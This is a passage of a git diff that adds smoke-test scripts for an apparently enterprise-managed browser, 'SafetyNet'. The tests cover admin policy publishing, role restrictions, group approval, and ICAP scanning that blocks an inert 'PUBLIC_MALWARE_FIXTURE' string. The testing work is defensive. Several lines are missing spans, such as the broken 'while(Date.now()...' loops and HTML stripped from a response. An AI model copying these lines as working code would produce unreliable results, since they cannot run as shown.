headers=await evaluate(`fetch(location.href).then(r=>({csp:r.headers.get('content-security-policy'),type:r.headers.get('x-content-type-options')}))`);assert.ok(headers.csp.includes("script-src 'self'"));assert.ok(headers.csp.includes("frame-ancestors 'none'"));assert.equal(headers.type,'nosniff'); + await evaluate(`document.getElementById('token').value=${JSON.stringify(process.env.SAFETYNET_ADMIN_SMOKE_TOKEN)};document.getElementById('connect').click()`);await waitFor(`!document.getElementById('workspace').hidden&&document.getElementById('status').textContent.includes('Connected')`); + assert.equal(await evaluate(`document.querySelectorAll('nav a').length>=12`),true);assert.equal(await evaluate(`document.getElementById('draft-state').textContent`),'Published policy v1');assert.equal(await evaluate(`document.getElementById('token').value`),'');assert.equal(await evaluate(`document.getElementById('policy-version').textContent`),'v1'); + await evaluate(`document.getElementById('preset-id').value='baseline';document.getElementById('preset-id').dispatchEvent(new Event('change'));document.getElementById('preset-preview').click()`);await waitFor(`!document.getElementById('preset-apply').disabled`); + assert.equal(await evaluate(`document.getElementById('policy-version').textContent`),'v1');assert.ok((await evaluate(`document.getElementById('preset-changes').textContent`)).includes('browser.allowDevTools')); + await evaluate(`document.getElementById('preset-apply').click()`);await waitFor(`document.getElementById('status').textContent.includes('Template added')`);assert.equal(await evaluate(`document.getElementById('devtools').checked`),false);assert.equal(await evaluate(`document.getElementById('policy-version').textContent`),'v1'); + await evaluate(`document.getElementById('review-changes').click()`);assert.equal(await evaluate(`document.getElementById('change-review').open`),true);assert.ok((await evaluate(`document.getElementById('change-review-list').textContent`)).includes('browser.allowDevTools'));assert.equal(await evaluate(`document.getElementById('policy-version').textContent`),'v1');await evaluate(`document.getElementById('review-close').click()`); + await evaluate(`document.getElementById('publish').click()`);await waitFor(`document.getElementById('policy-version').textContent==='v2'&&document.getElementById('status').textContent.includes('published')`); + await evaluate(`const values={'enterprise-dns-mode':'secure','enterprise-dns-templates':'https://dns.synthetic.example/dns-query','enterprise-vpn-interfaces':'Synthetic Corporate VPN','enterprise-vpn-dns':'10.77.0.53','enterprise-icap-url':${JSON.stringify(process.env.SAFETYNET_ADMIN_SMOKE_ICAP)},'enterprise-icap-method':'RESPMOD','enterprise-icap-timeout':'10000','enterprise-icap-max':'1048576'};for(const [id,value]of Object.entries(values))document.getElementById(id).value=value;for(const id of ['enterprise-vpn-required','enterprise-icap-enabled'])document.getElementById(id).checked=true;document.getElementById('enterprise-icap-probe').click()`); + await waitFor(`document.getElementById('enterprise-icap-status').textContent.includes('passed')`);assert.equal(await evaluate(`document.getElementById('policy-version').textContent`),'v2'); + await evaluate(`document.getElementById('diagnostics-enabled').checked=true;document.getElementById('diagnostics-mode').value='debug';document.getElementById('diagnostics-endpoint').value='https://collector.synthetic.example';document.getElementById('diagnostics-debug-sample').value='1';document.getElementById('agent-scope-bookmarks:mutate').checked=true;`); + await evaluate(`document.getElementById('publish').click()`);await waitFor(`document.getElementById('policy-version').textContent==='v3'&&document.getElementById('status').textContent.includes('published')`); + const fields=await evaluate(`({dns:document.getElementById('enterprise-dns-mode').value,vpn:document.getElementById('enterprise-vpn-required').checked,icap:document.getElementById('enterprise-icap-enabled').checked,method:document.getElementById('enterprise-icap-method').value,readiness:document.getElementById('integration-readiness').textContent,errors:globalThis.__proofErrors})`);assert.equal(fields.dns,'secure');assert.equal(fields.vpn,true);assert.equal(fields.icap,true);assert.equal(fields.method,'RESPMOD');assert.ok(fields.readiness.includes('configured'));assert.equal(fields.errors,0); + assert.equal(await evaluate(`document.getElementById('preset-changes').childElementCount`),0);assert.equal(await evaluate(`document.getElementById('preset-description').textContent`),''); + await evaluate(`scrollTo(0,0)`);window.webContents.invalidate();await new Promise(r=>setTimeout(r,300));fs.mkdirSync(path.resolve('artifacts'),{recursive:true});fs.writeFileSync(path.resolve('artifacts/enterprise-admin.png'),(await window.webContents.capturePage()).toPNG()); + await evaluate(`document.getElementById('event-filter').value='no-such-synthetic-event';document.getElementById('event-filter').dispatchEvent(new Event('input'));`);assert.ok((await evaluate(`document.getElementById('event-filter-count').textContent`)).startsWith('0 of '));await evaluate(`document.getElementById('event-filter').value='';document.getElementById('event-filter').dispatchEvent(new Event('input'));document.getElementById('device-filter').value='synthetic';document.getElementById('device-filter').dispatchEvent(new Event('input'));`);assert.equal(await evaluate(`document.getElementById('device-filter-count').textContent`),'0 of 0 devices'); + for(const theme of ['light','dark']){await evaluate(`document.getElementById('console-theme').value=${JSON.stringify(theme)};document.getElementById('console-theme').dispatchEvent(new Event('change'));`);assert.equal(await evaluate(`document.documentElement.dataset.theme`),theme);assert.equal(await evaluate(`localStorage.getItem('safetynet.admin.theme')`),theme);window.webContents.invalidate();await new Promise(r=>setTimeout(r,150));fs.writeFileSync(path.resolve(`artifacts/admin-console-${theme}.png`),(await window.webContents.capturePage()).toPNG());} + window.setSize(600,1000);await evaluate(`scrollTo(0,0)`);window.webContents.invalidate();await new Promise(r=>setTimeout(r,150));assert.equal(await evaluate(`document.documentElement.scrollWidth<=innerWidth`),true);fs.writeFileSync(path.resolve('artifacts/admin-console-mobile.png'),(await window.webContents.capturePage()).toPNG());assert.equal(await evaluate(`globalThis.__proofErrors`),0); + await evaluate(`document.getElementById('sessions-load').click()`);await waitFor(`document.getElementById('sessions-status').textContent.includes('0 active management sessions')`); + await evaluate(`globalThis.__adminPrincipal=currentPrincipal;applyOperatorPermissions({sub:'synthetic-auditor',role:'auditor',permissions:['overview.read','audit.read','policy.read','teaching.read']});`);assert.equal(await evaluate(`document.getElementById('publish').disabled&&document.getElementById('publish-shortcut').disabled&&document.getElementById('enroll').disabled&&document.getElementById('bookmark-device-load').disabled&&document.getElementById('access-sessions').hidden`),true);await evaluate(`applyOperatorPermissions(globalThis.__adminPrincipal);delete globalThis.__adminPrincipal;`); + assert.equal(await evaluate(`document.getElementById('diagnostics-enabled').checked&&document.getElementById('diagnostics-mode').value==='debug'&&document.getElementById('agent-scope-bookmarks:mutate').checked`),true); + await evaluate(`applyOperatorPermissions({sub:'synthetic-auditor',role:'auditor',permissions:['overview.read','audit.read','policy.read']});`); + assert.equal(await evaluate(`document.getElementById('diagnostics-enabled').disabled&&document.getElementById('agent-scope-bookmarks:mutate').disabled`),true); + console.log('ADMIN_UI_PROOF_OK');clearTimeout(deadline);window.destroy();app.exit(0); +}).catch(error=>{console.error('ADMIN_UI_PROOF_FAILED',error.message);clearTimeout(deadline);window?.destroy();app.exit(1);}); + diff --git a/scripts/enterprise-admin-smoke.mjs b/scripts/enterprise-admin-smoke.mjs new file mode 100644 index 0000000..9a5e9bf --- /dev/null +++ b/scripts/enterprise-admin-smoke.mjs @@ -0,0 +1,28 @@ +// Finite, isolated administrator workflow proof using actual UI and HTTP routes. +import assert from 'node:assert/strict'; +import { createRequire } from 'node:module'; +import { createServer } from 'node:net'; +import { mkdtempSync, mkdirSync, rmSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join, resolve, sep, basename } from 'node:path'; +import { spawn } from 'node:child_process'; +import { randomBytes } from 'node:crypto'; +import { openStore } from '../apps/server/store.mjs'; +import { createApp } from '../apps/server/app.mjs'; +import { verifyPolicy } from '../packages/core/policy.mjs'; +const require=createRequire(import.meta.url),directory=mkdtempSync(join(tmpdir(),'safetynet-enterprise-admin-smoke-')); +let store,server,icap,child;const exchanges=[]; +try{ + store=openStore(join(directory,'management'));const original=store.get('policy');original.browser.allowDevTools=true;original.browser.allowWebSockets=true;store.put('policy',original); + const adminToken=randomBytes(32).toString('base64url'),config={adminToken,publicUrl:'http://127.0.0.1',secure:false}; + server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));config.publicUrl=`http://127.0.0.1:${server.address().port}`; + icap=createServer(socket=>{let received=Buffer.alloc(0);socket.on('data',chunk=>{received=Buffer.concat([received,chunk]);if(received.length>16384){socket.destroy();return;}if(received.includes('\r\n\r\n')){exchanges.push(received.toString('ascii'));socket.end('ICAP/1.0 200 OK\r\nMethods: RESPMOD, REQMOD\r\nISTag: "synthetic-test-service"\r\nAllow: 204\r\nEncapsulated: null-body=0\r\n\r\n');}});}).listen(0,'127.0.0.1');await new Promise(r=>icap.once('listening',r)); + const env={...process.env,SAFETYNET_ADMIN_SMOKE_PROFILE:join(directory,'browser'),SAFETYNET_ADMIN_SMOKE_URL:config.publicUrl,SAFETYNET_ADMIN_SMOKE_TOKEN:adminToken,SAFETYNET_ADMIN_SMOKE_ICAP:`icap://127.0.0.1:${icap.address().port}/scan`};delete env.ELECTRON_RUN_AS_NODE; + child=spawn(require('electron'),['scripts/enterprise-admin-smoke.cjs'],{env,windowsHide:true,stdio:['ignore','pipe','pipe']});child.stdout.on('data',data=>{if(String(data).includes('ADMIN_UI_PROOF_OK'))console.log('Administrator interface workflow passed.');});child.stderr.on('data',data=>{const message=String(data);if(message.includes('ADMIN_UI_PROOF_'))console.error(message.trim());}); + const timer=setTimeout(()=>child.kill(),60000),code=await new Promise(r=>{child.once('exit',code=>r(code??1));child.once('error',()=>r(1));});clearTimeout(timer);assert.equal(code,0,'Administrator interface proof failed'); + const policy=verifyPolicy(store.envelope(),store.publicKey());assert.equal(policy.version,3);assert.equal(policy.browser.allowDevTools,false);assert.equal(policy.browser.allowWebSockets,false);assert.deepEqual(policy.enterprise.dns,{mode:'secure',templates:['https://dns.synthetic.example/dns-query']});assert.deepEqual(policy.enterprise.vpn,{required:true,interfaceNames:['Synthetic Corporate VPN'],requiredDnsServers:['10.77.0.53']});assert.equal(policy.enterprise.icap.enabled,true);assert.equal(policy.enterprise.icap.url,env.SAFETYNET_ADMIN_SMOKE_ICAP);assert.equal(exchanges.length,1);assert.ok(exchanges[0].startsWith('OPTIONS '));assert.equal(exchanges[0].split('\r\n\r\n')[1],''); + assert.equal(policy.diagnostics.enabled,true);assert.equal(policy.diagnostics.mode,'debug');assert.equal(policy.diagnostics.endpoint,'https://collector.synthetic.example');assert.ok(policy.agents.scopes.includes('bookmarks:mutate')); + const report={signedDiagnosticsUi:true,newAgentScopesUi:true,adminUi:true,isolatedControlPlane:true,previewDidNotPublish:true,explicitSignedPublication:true,integrationFormRoundtrip:true,optionsOnlyProbe:true,probeContentSent:false,cspPreserved:true,nodeUnavailable:true,hiddenCpuWindow:true,policyVersion:policy.version,groupedNavigation:true,draftChangeReview:true,reviewDoesNotPublish:true,fleetAndAuditFilters:true,consoleThemePersistence:true,mobileNoHorizontalOverflow:true,readOnlyRoleControls:true,sessionInventoryUi:true};mkdirSync('artifacts',{recursive:true});writeFileSync('artifacts/enterprise-admin-proof.json',JSON.stringify(report,null,2));console.log(JSON.stringify(report)); +}finally{ + child?.kill();for(const service of [server,icap])if(service)await new Promise(r=>{service.closeAllConnections?.();service.close(r);});store?.db.close();const target=resolve(directory);if(!target.startsWith(resolve(tmpdir())+sep)||!basename(target).startsWith('safetynet-enterprise-admin-smoke-'))throw Error('Unsafe proof cleanup');rmSync(target,{recursive:true,force:true,maxRetries:10,retryDelay:100}); +} diff --git a/scripts/enterprise-browser-smoke.cjs b/scripts/enterprise-browser-smoke.cjs new file mode 100644 index 0000000..b2893b8 --- /dev/null +++ b/scripts/enterprise-browser-smoke.cjs @@ -0,0 +1,27 @@ +const {app,BrowserWindow,dialog,session}=require('electron'); +const fs=require('node:fs'),assert=require('node:assert/strict'); +app.setPath('userData',process.env.SAFETYNET_ENTERPRISE_PROFILE);app.setPath('sessionData',process.env.SAFETYNET_ENTERPRISE_PROFILE);app.disableHardwareAcceleration(); +let dialogs=0;dialog.showSaveDialog=async()=>{dialogs++;return {canceled:false,filePath:process.env.SAFETYNET_ENTERPRISE_FILE};}; +require('../apps/browser/main.cjs'); +const wait=ms=>new Promise(r=>setTimeout(r,ms)),deadline=setTimeout(()=>app.exit(1),110000); +app.whenReady().then(async()=>{try{ + let win;for(let i=0;i<150;i++){win=BrowserWindow.getAllWindows()[0];if(win&&!win.webContents.isLoading()&&win.webContents.getURL().endsWith('index.html'))break;await wait(100);}assert.ok(win); + const shell=code=>win.webContents.executeJavaScript(code),state=async()=>(await shell('window.safetynet.state()')).data; + const result=await shell(`window.safetynet.enroll(${JSON.stringify({server:process.env.SAFETYNET_ENTERPRISE_SERVER,code:process.env.SAFETYNET_ENTERPRISE_CODE})})`);assert.equal(result.ok,true);assert.equal(result.data.ready,true); + const page=win.contentView.children.find(c=>c.webContents!==win.webContents).webContents;for(let i=0;i<100&&page.isLoading();i++)await wait(100); + const origin=process.env.SAFETYNET_ENTERPRISE_SINK,headers={authorization:`Bearer ${process.env.SAFETYNET_ENTERPRISE_ADMIN}`,'content-type':'application/json'}; + async function overview(){return (await fetch(process.env.SAFETYNET_ENTERPRISE_SERVER+'/api/admin/overview',{headers})).json();} + async function publish(mutator){const p=(await overview()).policy;mutator(p);p.version++;const r=await fetch(process.env.SAFETYNET_ENTERPRISE_SERVER+'/api/admin/policy',{method:'PUT',headers,body:JSON.stringify(p)});assert.equal(r.status,200);return p.version;} + async function until(fn,ms=20000){const end=Date.now()+ms;while(Date.now()r.ok).catch(()=>false)`);} + assert.equal(await post('public ordinary upload'),true);assert.equal(await post('PUBLIC_MALWARE_FIXTURE'),false); + assert.equal((await fetch(origin+'/proof-stats').then(r=>r.json())).posts,1); + await page.executeJavaScript("(()=>{const a=document.createElement('a');a.href='/download/blocked';document.body.append(a);a.click();})()"); + await until(async()=> (await overview()).events.some(e=>e.kind==='download.block'&&e.metadata.ruleId?.includes('icap')));assert.equal(dialogs,0);assert.equal(fs.existsSync(process.env.SAFETYNET_ENTERPRISE_FILE),false); + await page.executeJavaScript("(()=>{const a=document.createElement('a');a.href='/download/clean';document.body.append(a);a.click();})()");await until(()=>fs.existsSync(process.env.SAFETYNET_ENTERPRISE_FILE));assert.equal(dialogs,1);assert.deepEqual(fs.readFileSync(process.env.SAFETYNET_ENTERPRISE_FILE),Buffer.from([0,1,2,3,65,66,67,255])); + const pausedVersion=await publish(p=>p.enterprise.vpn={required:true,interfaceNames:['SafetyNet nonexistent proof interface'],requiredDnsServers:[]});await until(async()=>{const s=await state();return s.policyVersion===pausedVersion&&!s.ready;}); + const baseline=(await fetch(origin+'/proof-stats').then(r=>r.json())).websiteRequests;assert.equal(await post('public blocked by VPN gate'),false);await wait(500);assert.equal((await fetch(origin+'/proof-stats').then(r=>r.json())).websiteRequests,baseline); + const resumedVersion=await publish(p=>p.enterprise.vpn.required=false);await until(async()=>{const s=await state();return s.policyVersion===resumedVersion&&s.ready;}); + assert.equal(await session.fromPartition('persist:safetynet-management').resolveProxy(origin),await session.fromPartition('persist:safetynet-managed').resolveProxy(origin)); + console.log(JSON.stringify({nativeEnterprise:true,icapUploadAllow:true,icapUploadBlock:true,blockedDownloadDialogAbsent:true,cleanDownloadBytesVerified:true,requiredVpnBlocksWebsiteRequests:true,remotePolicyRecovery:true,managementProxyParity:true}));clearTimeout(deadline);app.quit(); +}catch(error){console.error(JSON.stringify({nativeEnterprise:false,error:error.message}));clearTimeout(deadline);app.exit(1);}}); diff --git a/scripts/enterprise-browser-smoke.mjs b/scripts/enterprise-browser-smoke.mjs new file mode 100644 index 0000000..30766ea --- /dev/null +++ b/scripts/enterprise-browser-smoke.mjs @@ -0,0 +1,24 @@ +import assert from 'node:assert/strict'; +import {createRequire} from 'node:module'; +import {createServer} from 'node:http'; +import net from 'node:net'; +import {mkdtempSync,mkdirSync,writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {spawn} from 'node:child_process'; +import {randomBytes} from 'node:crypto'; +import {createApp} from '../apps/server/app.mjs'; +import {openStore,digest} from '../apps/server/store.mjs'; +const electron=createRequire(import.meta.url)('electron'),temporary=mkdtempSync(join(tmpdir(),'safetynet-enterprise-proof-')); +const marker='PUBLIC_MALWARE_FIXTURE',clean=Buffer.from([0,1,2,3,65,66,67,255]); +const report={local:true,icapScans:0,icapBlocks:0,posts:0,websiteRequests:0}; +const sockets=new Set();let icap,sink,management,store,child; +try{ + icap=net.createServer(socket=>{sockets.add(socket);socket.on('error',()=>{});socket.on('close',()=>sockets.delete(socket));let input=Buffer.alloc(0),done=false;socket.on('data',chunk=>{input=Buffer.concat([input,chunk]);if(done||input.indexOf('\r\n\r\n')<0)return;const options=input.subarray(0,7).toString()==='OPTIONS';if(!options&&!input.subarray(-5).equals(Buffer.from('0\r\n\r\n')))return;done=true;if(options)return socket.end('ICAP/1.0 200 OK\r\nMethods: RESPMOD, REQMOD\r\nISTag: "local-fixture"\r\nAllow: 204\r\nEncapsulated: null-body=0\r\n\r\n');report.icapScans++;if(input.includes(Buffer.from(marker))){report.icapBlocks++;socket.end('ICAP/1.0 200 OK\r\nISTag: "local-fixture"\r\nEncapsulated: res-hdr=0, res-body=99\r\n\r\nHTTP/1.1 403 Forbidden');}else socket.end('ICAP/1.0 204 No Content\r\nISTag: "local-fixture"\r\n\r\n');});}).listen(0,'127.0.0.1');await new Promise(r=>icap.once('listening',r)); + sink=createServer((req,res)=>{if(req.url==='/proof-stats'){res.setHeader('content-type','application/json');return res.end(JSON.stringify(report));}report.websiteRequests++;if(req.method==='POST'){const chunks=[];req.on('data',c=>chunks.push(c));req.on('end',()=>{report.posts++;assert.equal(Buffer.concat(chunks).includes(Buffer.from(marker)),false,'Blocked fixture reached receiver');res.end('accepted');});return;}if(req.url.startsWith('/download/')){const bytes=req.url.endsWith('/blocked')?Buffer.from(marker):clean;res.setHeader('content-disposition','attachment; filename="fixture.bin"');res.setHeader('content-type','application/octet-stream');res.setHeader('content-length',bytes.length);return res.end(bytes);}res.setHeader('content-type','text/html');res.end('Enterprise native proof

Public local fixture

');}).listen(0,'127.0.0.1');await new Promise(r=>sink.once('listening',r)); + const code=randomBytes(32).toString('base64url'),adminToken=randomBytes(32).toString('base64url');store=openStore(join(temporary,'store'));const p=store.get('policy');p.browser.homeUrl=`http://127.0.0.1:${sink.address().port}`;p.browser.allowedHosts=['127.0.0.1'];p.browser.allowDownloads=true;p.dlp.rules=[];p.security.yara.enabled=false;p.security.yara.rules=[];p.proxy.mode='system';p.enterprise.icap={...p.enterprise.icap,enabled:true,url:`icap://127.0.0.1:${icap.address().port}/av`};store.put('policy',p);store.db.prepare('INSERT INTO enrollments VALUES(?,?,?)').run(digest(code),Date.now()+600000,'synthetic-enterprise-user'); + const config={publicUrl:'http://127.0.0.1',secure:false,adminToken,requirePQManagement:true};management=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>management.once('listening',r));config.publicUrl=`http://127.0.0.1:${management.address().port}`; + const env={...process.env,SAFETYNET_ENTERPRISE_PROFILE:join(temporary,'browser'),SAFETYNET_ENTERPRISE_SERVER:config.publicUrl,SAFETYNET_ENTERPRISE_CODE:code,SAFETYNET_ENTERPRISE_ADMIN:adminToken,SAFETYNET_ENTERPRISE_SINK:p.browser.homeUrl,SAFETYNET_ENTERPRISE_FILE:join(temporary,'released.bin'),SAFETYNET_SMOKE_USERDATA:join(temporary,'browser')};delete env.ELECTRON_RUN_AS_NODE; + child=spawn(electron,['scripts/enterprise-browser-smoke.cjs'],{windowsHide:true,stdio:'inherit',env});const timer=setTimeout(()=>child.kill(),120000);const status=await new Promise(r=>{child.once('exit',c=>r(c??1));child.once('error',()=>r(1));});clearTimeout(timer);assert.equal(status,0,'Native enterprise fixture failed');assert.equal(report.posts,1);assert.ok(report.icapBlocks>=2);Object.assign(report,{nativeBrowserPassed:true,icapOnlyUpload:true,icapBeforeDownloadDialog:true,requiredVpnPaused:true,remotePolicyRecovery:true,managementProtectedChannel:true,managementProxyParity:true});mkdirSync('artifacts',{recursive:true});writeFileSync('artifacts/enterprise-browser-proof.json',JSON.stringify(report,null,2));console.log(JSON.stringify(report)); +}finally{child?.kill();for(const socket of sockets)socket.destroy();for(const server of [management,sink,icap])if(server){server.closeAllConnections?.();await new Promise(r=>server.close(r));}store?.db.close();} + diff --git a/scripts/groups-admin-smoke.cjs b/scripts/groups-admin-smoke.cjs new file mode 100644 index 0000000..c69dd87 --- /dev/null +++ b/scripts/groups-admin-smoke.cjs @@ -0,0 +1,37 @@ +'use strict'; +const {app,BrowserWindow}=require('electron');const assert=require('node:assert/strict');const fs=require('node:fs');const path=require('node:path'); +app.disableHardwareAcceleration();app.enableSandbox();app.setPath('userData',process.env.SAFETYNET_ADMIN_SMOKE_PROFILE);app.commandLine.appendSwitch('force-device-scale-factor','1'); +let window;const deadline=setTimeout(()=>{console.error('ADMIN_UI_PROOF_TIMEOUT');app.exit(1);},50000); +async function evaluate(source){return window.webContents.executeJavaScript(source,true);} +async function waitFor(source){const until=Date.now()+12000;while(Date.now()setTimeout(r,75));}throw Error('Administrator UI state did not arrive: '+await evaluate(`document.getElementById('status').textContent`));} +app.whenReady().then(async()=>{ + window=new BrowserWindow({show:false,width:1500,height:1100,webPreferences:{nodeIntegration:false,contextIsolation:true,sandbox:true,offscreen:true,backgroundThrottling:false}}); + await window.loadURL(process.env.SAFETYNET_ADMIN_SMOKE_URL); + await evaluate(`globalThis.__proofErrors=0;addEventListener('error',()=>globalThis.__proofErrors++);addEventListener('unhandledrejection',()=>globalThis.__proofErrors++);`); + assert.deepEqual(await evaluate(`({node:typeof process,require:typeof require,bridge:typeof safetynet})`),{node:'undefined',require:'undefined',bridge:'undefined'}); + const headers=await evaluate(`fetch(location.href).then(r=>({csp:r.headers.get('content-security-policy'),type:r.headers.get('x-content-type-options')}))`);assert.ok(headers.csp.includes("script-src 'self'"));assert.ok(headers.csp.includes("frame-ancestors 'none'"));assert.equal(headers.type,'nosniff'); + const reviewProof=process.env.SAFETYNET_GROUP_REVIEW_PROOF==='1'; + if(reviewProof){await window.webContents.session.cookies.set({url:process.env.SAFETYNET_ADMIN_SMOKE_URL,name:'sn_session',value:process.env.SAFETYNET_GROUP_OPERATOR_TOKEN,httpOnly:true,sameSite:'lax'});await window.reload();await waitFor(`!document.getElementById('workspace').hidden&&document.getElementById('status').textContent.includes('Connected')`);} + else { + await evaluate(`document.getElementById('token').value=${JSON.stringify(process.env.SAFETYNET_ADMIN_SMOKE_TOKEN)};document.getElementById('connect').click()`);await waitFor(`!document.getElementById('workspace').hidden&&document.getElementById('status').textContent.includes('Connected')`);} + + await evaluate(`document.getElementById('group-id').value='engineering';document.getElementById('group-name').value='Engineering';for(const input of document.querySelectorAll('#group-members input'))input.checked=['pilot-device','member-device'].includes(input.value);document.getElementById('group-members').dispatchEvent(new Event('change'));for(const input of document.querySelectorAll('#group-cohort input'))input.checked=input.value==='pilot-device';document.getElementById('group-disable-ai').checked=true;document.getElementById('group-blocked-hosts').value='restricted.synthetic.example';document.getElementById('group-save').click()`); + if(reviewProof){ + await waitFor(`document.getElementById('status').textContent.includes('prepared for independent approval')`);assert.equal(await evaluate(`document.getElementById('policy-version').textContent`),'v1');assert.equal(await evaluate(`document.querySelectorAll('#groups-rows tr').length`),0); + await window.webContents.session.cookies.set({url:process.env.SAFETYNET_ADMIN_SMOKE_URL,name:'sn_session',value:process.env.SAFETYNET_GROUP_REVIEWER_TOKEN,httpOnly:true,sameSite:'lax'});await window.reload();await waitFor(`!document.getElementById('workspace').hidden&&document.querySelector('#reviews-rows button')`); + await evaluate(`document.querySelector('#reviews-rows button').click()`);await waitFor(`!document.getElementById('independent-review-detail').hidden`); + const operation=await evaluate(`document.getElementById('independent-review-operation').textContent`);for(const value of ['engineering','pilot-device','member-device','disableAI','restricted.synthetic.example'])assert.ok(operation.includes(value),`Exact proposal missing ${value}`); + await evaluate(`document.getElementById('independent-review-confirm').checked=true;document.getElementById('independent-review-confirm').dispatchEvent(new Event('change'));document.getElementById('independent-review-approve').click()`);await waitFor(`document.getElementById('policy-version').textContent==='v2'`);assert.equal(await evaluate(`document.querySelector('#groups-rows tr td:nth-child(3)').textContent.startsWith('pilot')`),true); + console.log('GROUP_ADMIN_PROOF_OK');clearTimeout(deadline);window.destroy();app.exit(0);return; + } + await waitFor(`document.getElementById('policy-version').textContent==='v2'&&document.getElementById('status').textContent.includes('published')`); + assert.equal(await evaluate(`document.querySelector('#groups-rows tr td:nth-child(3)').textContent.startsWith('pilot')`),true); + await evaluate(`document.getElementById('group-preview-device').value='pilot-device';document.getElementById('group-preview').click()`);await waitFor(`document.getElementById('group-preview-summary').textContent.includes('engineering')`); + assert.equal(await evaluate(`document.getElementById('group-preview-diff').textContent.includes('/browser/blockedHosts')`),true); + await evaluate(`document.getElementById('group-preview-device').value='outside-device';document.getElementById('group-preview').click()`);await waitFor(`document.getElementById('group-preview-summary').textContent.includes('baseline only')`); + assert.equal(await evaluate(`document.getElementById('group-preview-diff').textContent.includes('restricted.synthetic.example')`),false); + await evaluate(`document.getElementById('group-stage').value='all';document.getElementById('group-stage').dispatchEvent(new Event('change'));document.getElementById('group-save').click()`);await waitFor(`document.getElementById('policy-version').textContent==='v3'&&document.getElementById('status').textContent.includes('published')`); + assert.equal(await evaluate(`document.querySelector('#groups-rows tr td:nth-child(3)').textContent`),'All members');assert.equal(await evaluate(`document.getElementById('group-device-rows').textContent.includes('Awaiting target version')`),true);assert.equal(await evaluate(`globalThis.__proofErrors`),0); + await evaluate(`document.getElementById('policy-groups').scrollIntoView()`);window.webContents.invalidate();await new Promise(r=>setTimeout(r,300));fs.mkdirSync(path.resolve('artifacts'),{recursive:true});fs.writeFileSync(path.resolve('artifacts/groups-admin.png'),(await window.webContents.capturePage()).toPNG()); + console.log('GROUP_ADMIN_PROOF_OK');clearTimeout(deadline);window.destroy();app.exit(0); +}).catch(error=>{console.error('GROUP_ADMIN_PROOF_FAILED',error.stack);clearTimeout(deadline);window?.destroy();app.exit(1);}); diff --git a/scripts/groups-admin-smoke.mjs b/scripts/groups-admin-smoke.mjs new file mode 100644 index 0000000..239f610 --- /dev/null +++ b/scripts/groups-admin-smoke.mjs @@ -0,0 +1,29 @@ +// Finite, isolated administrator workflow proof using actual UI and HTTP routes. +import assert from 'node:assert/strict'; +import { createRequire } from 'node:module'; +import { createServer } from 'node:net'; +import { mkdtempSync, mkdirSync, rmSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join, resolve, sep, basename } from 'node:path'; +import { spawn } from 'node:child_process'; +import { randomBytes } from 'node:crypto'; +import { digest } from '../apps/server/store.mjs'; +import { openStore } from '../apps/server/store.mjs'; +import { createApp } from '../apps/server/app.mjs'; +import { verifyPolicy } from '../packages/core/policy.mjs'; +const require=createRequire(import.meta.url),directory=mkdtempSync(join(tmpdir(),'safetynet-groups-admin-smoke-')); +let store,server,child; +try{ + store=openStore(join(directory,'management'));const adminToken=randomBytes(32).toString('base64url'),config={adminToken,publicUrl:'http://127.0.0.1',secure:false,requireIndependentPolicyApproval:process.env.SAFETYNET_GROUP_REVIEW_PROOF==='1'}; + for(const id of ['pilot-device','member-device','outside-device'])store.db.prepare('INSERT INTO devices(id,name,platform,user,token_hash,last_seen) VALUES(?,?,?,?,?,?)').run(id,id,'win32','synthetic-user',`synthetic-${id}`,new Date().toISOString()); + const operatorToken=randomBytes(32).toString('base64url'),reviewerToken=randomBytes(32).toString('base64url');for(const [value,sub,role]of [[operatorToken,'group-operator','operator'],[reviewerToken,'group-reviewer','admin']])store.db.prepare('INSERT INTO sessions VALUES(?,?,?)').run(digest(value),Date.now()+60000,JSON.stringify({sub,role})); + server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));config.publicUrl=`http://127.0.0.1:${server.address().port}`; + const env={...process.env,SAFETYNET_ADMIN_SMOKE_PROFILE:join(directory,'browser'),SAFETYNET_ADMIN_SMOKE_URL:config.publicUrl,SAFETYNET_ADMIN_SMOKE_TOKEN:adminToken,SAFETYNET_GROUP_OPERATOR_TOKEN:operatorToken,SAFETYNET_GROUP_REVIEWER_TOKEN:reviewerToken};delete env.ELECTRON_RUN_AS_NODE; + child=spawn(require('electron'),['scripts/groups-admin-smoke.cjs'],{env,windowsHide:true,stdio:['ignore','pipe','pipe']});child.stdout.on('data',data=>{if(String(data).includes('GROUP_ADMIN_PROOF_OK'))console.log('Group administrator interface workflow passed.');});child.stderr.on('data',data=>{const text=String(data);if(text.includes('GROUP_ADMIN_PROOF_'))console.error(text.trim());}); + const timer=setTimeout(()=>child.kill(),60000),code=await new Promise(r=>{child.once('exit',code=>r(code??1));child.once('error',()=>r(1));});clearTimeout(timer);assert.equal(code,0,'Group administrator interface proof failed'); + const policy=verifyPolicy(store.envelope(),store.publicKey());assert.equal(policy.version,config.requireIndependentPolicyApproval?2:3);const group=store.getRaw('policyGroups').find(group=>group.id==='engineering');assert.equal(group.rollout.stage,config.requireIndependentPolicyApproval?'pilot':'all');assert.deepEqual([...group.memberDeviceIds].sort(),['member-device','pilot-device']);assert.equal(group.restrictions.disableAI,true); + const report={actualAdministratorUi:true,explicitGroupMembership:true,pilotCohortPublished:true,noNode:true,cspPreserved:true,...(config.requireIndependentPolicyApproval?{operatorProposalLeftPolicyUnchanged:true,exactMembersCohortRestrictionsReviewed:true,distinctAdministratorApproval:true}:{effectivePreview:true,explicitExpansion:true,reportedVersionDisplayed:true})};mkdirSync('artifacts',{recursive:true});writeFileSync(config.requireIndependentPolicyApproval?'artifacts/groups-review-admin-proof.json':'artifacts/groups-admin-proof.json',JSON.stringify(report,null,2));console.log(JSON.stringify(report)); +}finally{ + child?.kill();if(server)await new Promise(r=>{server.closeAllConnections?.();server.close(r);});store?.db.close();const target=resolve(directory);if(!target.startsWith(resolve(tmpdir())+sep)||!basename(target).startsWith('safetynet-groups-admin-smoke-'))throw Error('Unsafe proof cleanup');rmSync(target,{recursive:true,force:true,maxRetries:10,retryDelay:100}); +} + diff --git a/scripts/immutable-upload-probe.cjs b/scripts/immutable-upload-probe.cjs new file mode 100644 index 0000000..8124c4b --- /dev/null +++ b/scripts/immutable-upload-probe.cjs @@ -0,0 +1,38 